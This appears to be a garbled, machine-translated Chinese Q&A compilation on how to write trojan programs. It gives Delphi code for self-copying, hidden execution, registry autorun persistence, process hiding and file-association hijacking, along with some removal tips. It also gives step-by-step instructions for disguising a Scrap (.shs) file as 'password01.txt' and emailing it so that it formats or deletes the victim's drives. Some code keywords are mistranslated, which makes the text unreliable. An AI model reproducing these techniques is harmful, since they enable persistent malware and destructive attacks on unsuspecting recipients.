论文目录木马程序怎么编写怎么用C语言编写木马、病毒等程序怎么编写木马程序请各位大哥大姐指点一二，越详细越好，小弟一点不懂编程哦！木马是如何编写的(一)怎么自己制作木马啊怎样用VB编写一个木马病毒木马程序怎么编写

首先编写木 马程序，你首先知道你自己的IP地址是多少，然后可以让木马自动连接你的电脑。怎么用C语言编写木马、病毒等程序

C语言当然可以编写病毒，其实很多程序都是用C/C++编写出来的。\x0d\x0a编程语言本身没有“贵贱”之分，只用用就好， 区别都是相当强的；区别主要是适用范围、编写的难易程序、执行效率的高低、学习的难易程度等等。\x0d\x0aC只是一种计算机程序的编写格式规范，到了编写出来可以什么样的程序，看你所用的C语言编译器，（比如TC，VC，LCC，GCC等，太） 多了）。\x0d\x0a如果有编写windows程序，就不能用TC，只能编写DOS程序，而应该用VC，LCC，C++Builder等编译工具）\x0d\x0a编写出来的程序一定要调用操作系统提供的功能，如编写windows程序，就要调用Win32 API,Dos程序则调用DOS中断，编程实际上就是为这些操作系统所提供功能的调用。

\x0d\x0a现在的病毒很多都是用常用的编程工具编写的，如VC++,delph,VC，Win32等怎么编写木马程序请各位大哥大姐们指点一二，越详细越好，小弟一点不懂编程哦！

加入注册表单元，改写上面的窗口事件Create，改写后面的程序如下： procedure TForm1.FormCreate(Sender: TObject); const K = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; var 我的名字：字符串； begin {Lovejingtao 撰写，http://Lovejingtao.126.com ,Lovejingtao@21cn.com} myname := ExtractFilename(Application.Exename); //获取文件名 if application.Exename 《》 GetWindir + myname then //如果文件不在Windows\System\那么.. begin copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下} Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件 application.Terminate;//退出 end; 使用 TRegistry.Create 尝试 RootKey := HKEY_LOCAL_MACHINE; OpenKey( K, TRUE ); WriteString( 'syspler', application.ExeName ); 终于自由了； 结尾; 结尾; 为了让程序用ALT+DEL+CTRL看不见，在执行后添加声明： function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; 标准调用； 外部“KERNEL32.DLL”； 再在上面的窗口Create事件加上一句：RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏 启示1：当我们中了“冰河”时，如果被对方弄到密码而无法自己卸载时，可以先查找是什么文件，然后自己配置一个没有密码的来运行，这样就可以把原来删除密码的覆盖掉，自己就轻松用它的卸载功能可以把卸载掉。如果你会编程，也可以自己写一个“清除器”了，方法是先找到窗口名，向它发送退出命令，把它发送即可。 (2)“冰河”的功能自我保护长度，它一般通过Txt或Exe文件关联来达到自我恢复。所以有很多人明明把它杀掉了，但重新启动时又会出现。下面举以Txt文件关联为例。 打开Delphi，新建一个工程，在窗口的Create事件中写入代码：使用Registry procedure TForm1.FormCreate(Sender: TObject); const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices'; 常量 K =

'\txtfile\shell\open\command'; var sFileName:字符串; begin //******************************************************** with TRegistry.Create do //写萝卜，让程序跟文本文件关联 try RootKey := HKEY_CLASSES_ROOT; OpenKey( K, TRUE ); {Lovejingtao 撰写，http://lovejingtao.126.com } WriteString( '', application.ExeName+' "%1" '); {Lovejingtao撰文,lovejingtao@21cn.com}终于免费了； 结尾; //**************************************************************** with TRegistry.Create do //写操，每次启动时自动运行 try RootKey := HKEY_LOCAL_MACHINE; OpenKey( Kkk, TRUE ); WriteString( 'myTray', application.ExeName ); 终于自由了； 结尾; //******************************************************** if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除 begin copyfile;//自定义拷贝资源文件过程 winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide); 结尾; //**************************************************************** if ParamCount》0 then begin (* 有执行参数确定 *) sFileName:=ParamStr(1); (* 获取参数内容 *) winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*) //winexec(pchar( sFileName),sw_show); 结尾; //**************************************************************** application.Terminate;//退出 end; 如果要改为与Exe文件关联，只需把"const K = '\txtfile\shell\open\command';"改为"const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe '+sFileName),sw_show);" 改为“winexec(pchar(sFileName),sw_show);”即可。当然，还要加入是否退出Windows而运行的Rundll32.dll，否则会关联因为Exe文件而退出Windows。 启示2：手动删除“冰河”时，须改掉其保护功能，不能恢复。如果是关联了文本文件，请先改掉其装置不能自动运行

，重启后不要打开文本文件，立即进到其安装目录把它删除。如果是关联了Exe文件，那就只能回到Dos下删除了。切记：一定要把两个文件同时删掉，不然你重启后会发现文件又恢复了木马是怎么编写的（一）

很期待以后还有什么好文章啊。、

很经典的东西啊，谢谢啊。

很有用的啊，我看了。怎么自己制作木马啊

木马完全可以自制，你可以根据自己所需的作用来制作各种的木马学木马先要会编程，你先把这个搞懂吧！1.创建一个只包含一个空格(为了减少文件体积)的文本文件，任意取名。2.打开{写字板文档}，然后文件拖板{写 字板文档}。也可以点击记{写字板文档}单顶部的“插入\对象”，弹出“插入对象”对话框，选中“从文件创建”，然后点击“浏览”按钮选择要插入的文件。3.选中该插入对象的图标，选择菜单栏的“\包对象\包”(如图1)。在弹出的“对象包装程序”对话框中，选择菜单栏的“\” ”，然后输入如下命令:start.exe/mformatc:/q/autotest/u，点击“确定”，此时，内容路径会显示出命令内容。4.点击外观顶端的“插入图标”按钮，会弹出一个警告对话框，确认，然后任选一个图标。5.选择菜单栏的“\卷标”，然后中间对象取一个名称(会) 替换原来的文件名称)。点击“文件”菜单中的“更新”，然后关闭此对话框。6.将刚刚建立的嵌入对象拖放到桌面上。文件的默认名称是“碎片”(在2000下的默认名为“片段”)，现在我们把它改成“password01.txt”。打开电子邮件程序将桌面上的“password01.tx” 7.当邮件接收者误将“password01.txt.shs”文件作为“password01.txt”（如前文所述，“.SHS”扩展名是永远隐藏的）放心打开时，或打开文件，点击文件中的嵌入对象时触发 恶意命令(弹出DOS运行窗口，执行格式化命令)。如果将上面的命令替换为:start.exe/mdeltree/ya:\*.*c:\*.*d:\*.*则删除将硬盘下所有文件(盘符根据实际情况自定义);如果替换为:start.exe/mdeltree/yc:\wind ows\system\*.*撕掉对方c:\windows\system\目录底下的所有文件。（当然大家可以改成其他的命令）很简单，这样一个恶意的攻击程序就被弄出来了！利用VB编写一个木马病毒

简单好玩的编程代码如下：

gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)

set s=createobject("wscript.shell")

wscript.sleep 1000

msgbox "开始格式化……哈哈！吓晕了吧，骗你的~"

wscript.sleep 1000

wscript.sleep 1000*100

msgbox "windows发现一个重要更新，e68a8462616964757a686964616f31333433653433将自动下载。

"

wscript.sleep 3000

msgbox "系统检测到WINDOWS更新中捆有不同插件SXS.exe，是否扫描？",vbyesno

wscript.sleep 1000

msgbox "文件名SXS.exe"+CHR(13)+"释放者田间的菜鸟 "+chr(13)+"安全评级高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"

扩展资料：

编译方式下，首先通过一个对应于所用程序设计语言的编译程序对源程序进行处理，经过对源程序的词法分析、语法分析、语意分析、代码生成和代码优化 化等阶段将所处理的源程序转换为用二进制代码表示的目标程序，然后通过连接程序处理将程序中所用的函数调用、系统功能调用等嵌入到目标程序中，构成一个连续可以执行的二进制执行文件。调用这个执行文件就可以实现程序员在对应源程序文件中所指定的相应功能。